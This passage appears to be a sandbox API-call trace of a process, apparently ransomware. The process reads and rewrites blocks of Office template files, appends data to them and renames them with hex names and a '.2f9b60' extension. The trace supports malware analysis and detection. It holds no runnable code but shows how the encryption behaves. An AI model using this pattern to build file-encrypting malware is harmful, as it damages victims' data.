(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9cb0) returned 1 [0218.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0218.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e20) returned 1 [0218.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1b858f10 [0218.935] sprintf (in: _Dest=0x1b858f10, _Format="%c%c" | out: _Dest="39") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f12, _Format="%c%c" | out: _Dest="d3") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f14, _Format="%c%c" | out: _Dest="03") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f16, _Format="%c%c" | out: _Dest="30") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f18, _Format="%c%c" | out: _Dest="55") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f1a, _Format="%c%c" | out: _Dest="d6") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f1c, _Format="%c%c" | out: _Dest="63") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f1e, _Format="%c%c" | out: _Dest="c2") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f20, _Format="%c%c" | out: _Dest="3a") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f22, _Format="%c%c" | out: _Dest="7a") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f24, _Format="%c%c" | out: _Dest="54") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f26, _Format="%c%c" | out: _Dest="f7") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f28, _Format="%c%c" | out: _Dest="b1") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f2a, _Format="%c%c" | out: _Dest="78") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f2c, _Format="%c%c" | out: _Dest="7a") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f2e, _Format="%c%c" | out: _Dest="3b") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f30, _Format="%c%c" | out: _Dest="6d") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f32, _Format="%c%c" | out: _Dest="e3") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f34, _Format="%c%c" | out: _Dest="ef") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f36, _Format="%c%c" | out: _Dest="7d") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f38, _Format="%c%c" | out: _Dest="4c") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f3a, _Format="%c%c" | out: _Dest="d0") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f3c, _Format="%c%c" | out: _Dest="68") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f3e, _Format="%c%c" | out: _Dest="6d") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f40, _Format="%c%c" | out: _Dest="b7") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f42, _Format="%c%c" | out: _Dest="98") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f44, _Format="%c%c" | out: _Dest="a3") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f46, _Format="%c%c" | out: _Dest="8f") returned 2 [0218.935] sprintf (in: _Dest=0x1b858f48, _Format="%c%c" | out: _Dest="e4") returned 2 [0218.936] sprintf (in: _Dest=0x1b858f4a, _Format="%c%c" | out: _Dest="3d") returned 2 [0218.936] sprintf (in: _Dest=0x1b858f4c, _Format="%c%c" | out: _Dest="e3") returned 2 [0218.936] sprintf (in: _Dest=0x1b858f4e, _Format="%c%c" | out: _Dest="10") returned 2 [0218.936] sprintf (in: _Dest=0x1b858f50, _Format="%c%c" | out: _Dest="20") returned 2 [0218.936] sprintf (in: _Dest=0x1b858f52, _Format="%c%c" | out: _Dest="33") returned 2 [0218.936] sprintf (in: _Dest=0x1b858f54, _Format="%c%c" | out: _Dest="e7") returned 2 [0218.936] sprintf (in: _Dest=0x1b858f56, _Format="%c%c" | out: _Dest="ff") returned 2 [0218.936] sprintf (in: _Dest=0x1b858f58, _Format="%c%c" | out: _Dest="ce") returned 2 [0218.936] sprintf (in: _Dest=0x1b858f5a, _Format="%c%c" | out: _Dest="b4") returned 2 [0218.936] sprintf (in: _Dest=0x1b858f5c, _Format="%c%c" | out: _Dest="f3") returned 2 [0218.936] sprintf (in: _Dest=0x1b858f5e, _Format="%c%c" | out: _Dest="e7") returned 2 [0218.936] sprintf (in: _Dest=0x1b858f60, _Format="%c%c" | out: _Dest="f6") returned 2 [0218.936] sprintf (in: _Dest=0x1b858f62, _Format="%c%c" | out: _Dest="b2") returned 2 [0218.936] RtlInitAnsiString (in: DestinationString=0x1defc48, SourceString="39d3033055d663c23a7a54f7b1787a3b6de3ef7d4cd0686db798a38fe43de3102033e7ffceb4f3e7f6b2" | out: DestinationString="39d3033055d663c23a7a54f7b1787a3b6de3ef7d4cd0686db798a38fe43de3102033e7ffceb4f3e7f6b2") [0218.936] RtlAnsiStringToUnicodeString (in: DestinationString=0x1defc18, SourceString="39d3033055d663c23a7a54f7b1787a3b6de3ef7d4cd0686db798a38fe43de3102033e7ffceb4f3e7f6b2", AllocateDestinationString=1 | out: DestinationString="39d3033055d663c23a7a54f7b1787a3b6de3ef7d4cd0686db798a38fe43de3102033e7ffceb4f3e7f6b2") returned 0x0 [0218.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x43110960 [0218.936] wcscat (in: _Dest=0x4315e7d0, _Source="39d3033055d663c23a7a5" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\39d3033055d663c23a7a5") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\39d3033055d663c23a7a5" [0218.936] wcscat (in: _Dest=0x4315e7d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\39d3033055d663c23a7a5.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\39d3033055d663c23a7a5.2f9b60" [0218.936] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\39d3033055d663c23a7a5.2f9b60", NtPathName=0x1defbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\39d3033055d663c23a7a5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4310c7f0 Thread: id = 2303 os_tid = 0x1c60 [0148.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanphotoalbum.potx")) returned 0x20 [0148.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanPhotoAlbum.potx", dwFileAttributes=0x20) returned 1 [0148.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanphotoalbum.potx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ee4 [0148.796] GetFileSizeEx (in: hFile=0x1ee4, lpFileSize=0x20acfca0 | out: lpFileSize=0x20acfca0*=4249320) returned 1 [0148.796] SetFilePointerEx (in: hFile=0x1ee4, liDistanceToMove=0x40d6e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.796] ReadFile (in: hFile=0x1ee4, lpBuffer=0x20acfc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x20acfc68, lpOverlapped=0x0 | out: lpBuffer=0x20acfc20*, lpNumberOfBytesRead=0x20acfc68*=0x4, lpOverlapped=0x0) returned 1 [0148.798] SetFilePointerEx (in: hFile=0x1ee4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202645c0 [0148.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264800 [0148.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267230 [0148.799] NtQuerySystemTime (in: CurrentTime=0x20acfb60 | out: CurrentTime=0x20acfb60*=132462177540262000) returned 0x0 [0148.799] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x7c5a4ae1 [0148.799] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x42ea4cea [0148.799] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x5196af3 [0148.799] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x7cdad521 [0148.799] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x3a9bb62a [0148.799] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x27aab176 [0148.799] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x4cc64c2c [0148.799] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x100d0fcf [0148.799] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x12bc327b [0148.799] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x39cf8455 [0148.799] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x2bc7513b [0148.799] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x18b854ab [0148.799] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x7c6c97a1 [0148.800] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x3f7f215f [0148.800] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x4d318143 [0148.800] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x4cca7fb0 [0148.800] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x23565f3e [0148.800] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x4db3b1e0 [0148.800] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x71a8f083 [0148.800] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x67eabebc [0148.800] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x7baee7e1 [0148.800] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x582a870 [0148.800] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x1284e903 [0148.800] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x2a9fe3af [0148.800] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x5cc0a716 [0148.800] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x2aa38022 [0148.800] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x14998676 [0148.800] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x41a6bbe0 [0148.800] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x3e0a637b [0148.800] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x5740da5 [0148.800] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x1278b612 [0148.800] RtlRandomEx (in: Seed=0x20acfb50 | out: Seed=0x20acfb50) returned 0x2af6b44a [0148.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669f0 [0148.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0148.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b40 [0148.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0148.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267230) returned 1 [0148.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202645c0) returned 1 [0148.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0148.812] SetFilePointerEx (in: hFile=0x1ee4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.813] ReadFile (in: hFile=0x1ee4, lpBuffer=0x201f1d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20acfbc0, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesRead=0x20acfbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0148.814] SetFilePointerEx (in: hFile=0x1ee4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0148.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0148.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202645c0 [0148.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202645c0) returned 1 [0148.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201e6910 [0148.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202645c0 [0148.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267230 [0148.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267230) returned 1 [0148.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0148.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0148.816] WriteFile (hFile=0x1ee4, lpBuffer=0x201e6910, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20acfbc0, lpOverlapped=0x0) [0194.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201e6910) returned 1 [0194.379] SetFilePointerEx (in: hFile=0x1ee4, liDistanceToMove=0x209400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.379] ReadFile (in: hFile=0x1ee4, lpBuffer=0x201f1d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20acfbc0, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesRead=0x20acfbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.560] SetFilePointerEx (in: hFile=0x1ee4, liDistanceToMove=0x209400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0194.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba3e0 [0194.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5120 [0194.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5120) returned 1 [0194.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20460f30 [0194.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5120 [0194.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5090 [0194.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5090) returned 1 [0194.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba3e0) returned 1 [0194.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0194.564] WriteFile (in: hFile=0x1ee4, lpBuffer=0x20460f30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20acfbc0, lpOverlapped=0x0 | out: lpBuffer=0x20460f30*, lpNumberOfBytesWritten=0x20acfbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0210.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20460f30) returned 1 [0210.380] SetFilePointerEx (in: hFile=0x1ee4, liDistanceToMove=0x409ae8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.380] ReadFile (in: hFile=0x1ee4, lpBuffer=0x201f1d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20acfbc0, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesRead=0x20acfbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0211.596] SetFilePointerEx (in: hFile=0x1ee4, liDistanceToMove=0x409ae8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420589c0 [0211.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba960 [0211.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e0e0 [0211.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e0e0) returned 1 [0211.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f500b0 [0211.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e0e0 [0211.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ded0 [0211.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ded0) returned 1 [0211.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba960) returned 1 [0211.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420589c0) returned 1 [0211.601] WriteFile (in: hFile=0x1ee4, lpBuffer=0x41f500b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20acfbc0, lpOverlapped=0x0 | out: lpBuffer=0x41f500b0*, lpNumberOfBytesWritten=0x20acfbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0221.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f500b0) returned 1 [0221.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43105de0 [0221.661] SetFilePointerEx (in: hFile=0x1ee4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0221.661] WriteFile (in: hFile=0x1ee4, lpBuffer=0x1ceb81b0*, nNumberOfBytesToWrite=0x15a, lpNumberOfBytesWritten=0x20acfc70, lpOverlapped=0x0 | out: lpBuffer=0x1ceb81b0*, lpNumberOfBytesWritten=0x20acfc70*=0x15a, lpOverlapped=0x0) returned 1 [0222.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61560 [0222.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869b40 [0222.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda100 [0222.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda100) returned 1 [0222.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1cdda100 [0222.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda130 [0222.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc7d0 [0222.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc7d0) returned 1 [0222.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869b40) returned 1 [0222.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61560) returned 1 [0222.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1cd9d970 [0222.944] sprintf (in: _Dest=0x1cd9d970, _Format="%c%c" | out: _Dest="f8") returned 2 [0222.944] sprintf (in: _Dest=0x1cd9d972, _Format="%c%c" | out: _Dest="93") returned 2 [0222.944] sprintf (in: _Dest=0x1cd9d974, _Format="%c%c" | out: _Dest="ed") returned 2 [0222.944] sprintf (in: _Dest=0x1cd9d976, _Format="%c%c" | out: _Dest="87") returned 2 [0222.944] sprintf (in: _Dest=0x1cd9d978, _Format="%c%c" | out: _Dest="65") returned 2 [0222.944] sprintf (in: _Dest=0x1cd9d97a, _Format="%c%c" | out: _Dest="14") returned 2 [0222.944] sprintf (in: _Dest=0x1cd9d97c, _Format="%c%c" | out: _Dest="79") returned 2 [0222.944] sprintf (in: _Dest=0x1cd9d97e, _Format="%c%c" | out: _Dest="82") returned 2 [0222.944] sprintf (in: _Dest=0x1cd9d980, _Format="%c%c" | out: _Dest="f8") returned 2 [0222.944] sprintf (in: _Dest=0x1cd9d982, _Format="%c%c" | out: _Dest="ce") returned 2 [0222.944] sprintf (in: _Dest=0x1cd9d984, _Format="%c%c" | out: _Dest="93") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d986, _Format="%c%c" | out: _Dest="17") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d988, _Format="%c%c" | out: _Dest="7a") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d98a, _Format="%c%c" | out: _Dest="4e") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d98c, _Format="%c%c" | out: _Dest="4d") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d98e, _Format="%c%c" | out: _Dest="29") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d990, _Format="%c%c" | out: _Dest="86") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d992, _Format="%c%c" | out: _Dest="f3") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d994, _Format="%c%c" | out: _Dest="d6") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d996, _Format="%c%c" | out: _Dest="82") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d998, _Format="%c%c" | out: _Dest="c9") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d99a, _Format="%c%c" | out: _Dest="cf") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d99c, _Format="%c%c" | out: _Dest="28") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d99e, _Format="%c%c" | out: _Dest="29") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d9a0, _Format="%c%c" | out: _Dest="5a") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d9a2, _Format="%c%c" | out: _Dest="7d") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d9a4, _Format="%c%c" | out: _Dest="b4") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d9a6, _Format="%c%c" | out: _Dest="a3") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d9a8, _Format="%c%c" | out: _Dest="e7") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d9aa, _Format="%c%c" | out: _Dest="30") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d9ac, _Format="%c%c" | out: _Dest="e3") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d9ae, _Format="%c%c" | out: _Dest="f5") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d9b0, _Format="%c%c" | out: _Dest="99") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d9b2, _Format="%c%c" | out: _Dest="12") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d9b4, _Format="%c%c" | out: _Dest="ca") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d9b6, _Format="%c%c" | out: _Dest="87") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d9b8, _Format="%c%c" | out: _Dest="09") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d9ba, _Format="%c%c" | out: _Dest="85") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d9bc, _Format="%c%c" | out: _Dest="1b") returned 2 [0222.945] sprintf (in: _Dest=0x1cd9d9be, _Format="%c%c" | out: _Dest="34") returned 2 [0222.946] RtlInitAnsiString (in: DestinationString=0x20acfce8, SourceString="f893ed8765147982f8ce93177a4e4d2986f3d682c9cf28295a7db4a3e730e3f59912ca8709851b34" | out: DestinationString="f893ed8765147982f8ce93177a4e4d2986f3d682c9cf28295a7db4a3e730e3f59912ca8709851b34") [0222.946] RtlAnsiStringToUnicodeString (in: DestinationString=0x20acfcb8, SourceString="f893ed8765147982f8ce93177a4e4d2986f3d682c9cf28295a7db4a3e730e3f59912ca8709851b34", AllocateDestinationString=1 | out: DestinationString="f893ed8765147982f8ce93177a4e4d2986f3d682c9cf28295a7db4a3e730e3f59912ca8709851b34") returned 0x0 [0222.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431f4b40 [0222.946] wcscat (in: _Dest=0x1b862a90, _Source="f893ed8765147982f8ce" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\f893ed8765147982f8ce") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\f893ed8765147982f8ce" [0222.946] wcscat (in: _Dest=0x1b862a90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\f893ed8765147982f8ce.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\f893ed8765147982f8ce.2f9b60" [0222.946] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\f893ed8765147982f8ce.2f9b60", NtPathName=0x20acfc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\f893ed8765147982f8ce.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0222.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x431ecba0 Thread: id = 2304 os_tid = 0x1c64 [0148.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanreport.dotx")) returned 0x20 [0148.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanReport.Dotx", dwFileAttributes=0x20) returned 1 [0148.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanreport.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b14 [0148.821] GetFileSizeEx (in: hFile=0x1b14, lpFileSize=0x1cfdfce0 | out: lpFileSize=0x1cfdfce0*=855998) returned 1 [0148.821] SetFilePointerEx (in: hFile=0x1b14, liDistanceToMove=0xd0fba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.821] ReadFile (in: hFile=0x1b14, lpBuffer=0x1cfdfc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1cfdfca8, lpOverlapped=0x0 | out: lpBuffer=0x1cfdfc60*, lpNumberOfBytesRead=0x1cfdfca8*=0x4, lpOverlapped=0x0) returned 1 [0148.822] SetFilePointerEx (in: hFile=0x1b14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267230 [0148.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202647a0 [0148.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264860 [0148.823] NtQuerySystemTime (in: CurrentTime=0x1cfdfba0 | out: CurrentTime=0x1cfdfba0*=132462177540418000) returned 0x0 [0148.823] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x6772f223 [0148.823] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x32a79d8b 